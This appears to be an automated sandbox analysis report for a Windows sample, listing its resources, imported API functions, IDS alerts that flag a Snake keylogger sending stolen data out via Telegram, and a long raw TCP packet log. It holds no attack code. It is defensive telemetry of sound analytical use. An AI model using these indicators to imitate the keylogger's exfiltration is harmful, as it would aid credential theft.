RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:39:42.346458+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49890	216.58.206.46	443	TCP
2025-01-11T07:39:47.899216+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49921	132.226.8.169	80	TCP
2025-01-11T07:39:54.664778+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49921	132.226.8.169	80	TCP
2025-01-11T07:39:55.319636+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:39:55.628697+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49968	149.154.167.220	443	TCP
2025-01-11T07:39:56.992895+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49977	132.226.8.169	80	TCP
2025-01-11T07:39:57.585132+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:39:57.862466+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49983	149.154.167.220	443	TCP
2025-01-11T07:39:59.520971+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49999	149.154.167.220	443	TCP
2025-01-11T07:39:59.799694+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49999	149.154.167.220	443	TCP
2025-01-11T07:40:05.590667+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50014	149.154.167.220	443	TCP
2025-01-11T07:40:05.839276+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50014	149.154.167.220	443	TCP
2025-01-11T07:40:11.213482+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:40:11.469514+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50016	149.154.167.220	443	TCP
2025-01-11T07:40:17.385598+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:40:17.817338+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50018	149.154.167.220	443	TCP
2025-01-11T07:40:27.919829+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	50021	149.154.167.220	443	TCP
2025-01-11T07:40:28.478131+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	50021	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:39:41.296844006 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:41.296930075 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:41.297269106 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:41.310718060 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:41.310750961 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:41.962006092 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:41.962152004 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:41.962769985 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:41.962833881 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.039391041 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.039417028 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.039714098 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.039766073 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.044193029 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.087331057 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.346441031 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.346512079 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.346545935 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.346586943 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.346734047 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.346760035 CET	443	49890	216.58.206.46	192.168.2.4
Jan 11, 2025 07:39:42.346832037 CET	49890	443	192.168.2.4	216.58.206.46
Jan 11, 2025 07:39:42.369683027 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:42.369728088 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:42.369791031 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:42.370071888 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:42.370090008 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:43.016896963 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:43.016988993 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:43.021162033 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:43.021173954 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:43.021421909 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:43.021492004 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:43.021840096 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:43.063324928 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.535964966 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.536215067 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.541450977 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.541657925 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.554027081 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.554207087 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.554244995 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.554300070 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.560270071 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.560364962 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.624244928 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.624341965 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.624356985 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.624403000 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.624408960 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.624454021 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.624677896 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.624736071 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.624742031 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.624788046 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.630997896 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.631061077 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.631068945 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.631119967 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.637408972 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.637484074 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.637502909 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.637556076 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.643706083 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.643779039 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.643791914 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.643843889 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.650078058 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.650147915 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.650166035 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.650223970 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.658194065 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.658261061 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.658271074 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.658310890 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.662573099 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.662627935 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.662636042 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.662673950 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.668397903 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.668464899 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.668488026 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.668524981 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.674047947 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.674150944 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.674169064 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.674216986 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.679920912 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.680000067 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.680021048 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.680072069 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.685672045 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.685760975 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.692361116 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.692435980 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.692457914 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.692506075 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715010881 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715075016 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715111971 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715122938 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715162992 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715178967 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715197086 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715255976 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715281010 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715339899 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715348005 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715399981 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.715405941 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.715450048 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.716773987 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.716830969 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.716831923 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.716845036 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.716871023 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.716909885 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.722358942 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.722419024 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.722426891 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.722469091 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.727643013 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.727704048 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.727719069 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.727763891 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.732618093 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.732702971 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.732724905 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.732777119 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.732791901 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.737622976 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.737695932 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.737704992 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.737741947 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.742209911 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.742263079 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.742301941 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.742358923 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.746871948 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.746959925 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.746987104 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.747025967 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.751554966 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.751647949 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.751672029 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.751759052 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.756412983 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.756500959 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.756525993 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.756577969 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.760868073 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.760936975 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.760958910 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.761008024 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.765531063 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.765614033 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.765633106 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.765671968 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.769880056 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.769922018 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.769939899 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.769982100 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774148941 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.774198055 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774214983 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.774255037 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774260998 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.774291992 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:45.774295092 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774333954 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774501085 CET	49896	443	192.168.2.4	142.250.185.129
Jan 11, 2025 07:39:45.774518967 CET	443	49896	142.250.185.129	192.168.2.4
Jan 11, 2025 07:39:46.716078997 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:46.721026897 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:46.721112967 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:46.721379042 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:46.726219893 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:47.558394909 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:47.566066980 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:47.572715998 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:47.848217964 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:47.899215937 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:48.121121883 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.121182919 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.121401072 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.124953032 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.124984980 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.595041990 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.595207930 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.599299908 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.599345922 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.599663019 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.604374886 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.651330948 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.719381094 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.719458103 CET	443	49932	104.21.80.1	192.168.2.4
Jan 11, 2025 07:39:48.719588995 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:48.726103067 CET	49932	443	192.168.2.4	104.21.80.1
Jan 11, 2025 07:39:54.321516991 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:54.326503992 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:54.620425940 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:54.636372089 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:54.636405945 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:54.636527061 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:54.636933088 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:54.636945009 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:54.664777994 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:55.274194956 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.274346113 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:55.276365995 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:55.276385069 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.276696920 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.278311968 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:55.319339991 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.319510937 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:55.319529057 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.628848076 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.629036903 CET	443	49968	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:55.629180908 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:55.629821062 CET	49968	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:56.076823950 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:56.082103968 CET	80	49921	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:56.082416058 CET	49921	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:56.094296932 CET	49977	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:56.099339962 CET	80	49977	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:56.102467060 CET	49977	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:56.103481054 CET	49977	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:56.108334064 CET	80	49977	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:56.943947077 CET	80	49977	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:56.945290089 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:56.945331097 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:56.945410967 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:56.946124077 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:56.946136951 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:56.992894888 CET	49977	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:57.577167034 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:57.584703922 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:57.584738016 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:57.584794044 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:57.584800959 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:57.862555027 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:57.862670898 CET	443	49983	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:57.862787962 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:57.863348007 CET	49983	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:57.867877007 CET	49991	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:57.873529911 CET	80	49991	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:57.876979113 CET	49991	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:57.877127886 CET	49991	80	192.168.2.4	132.226.8.169
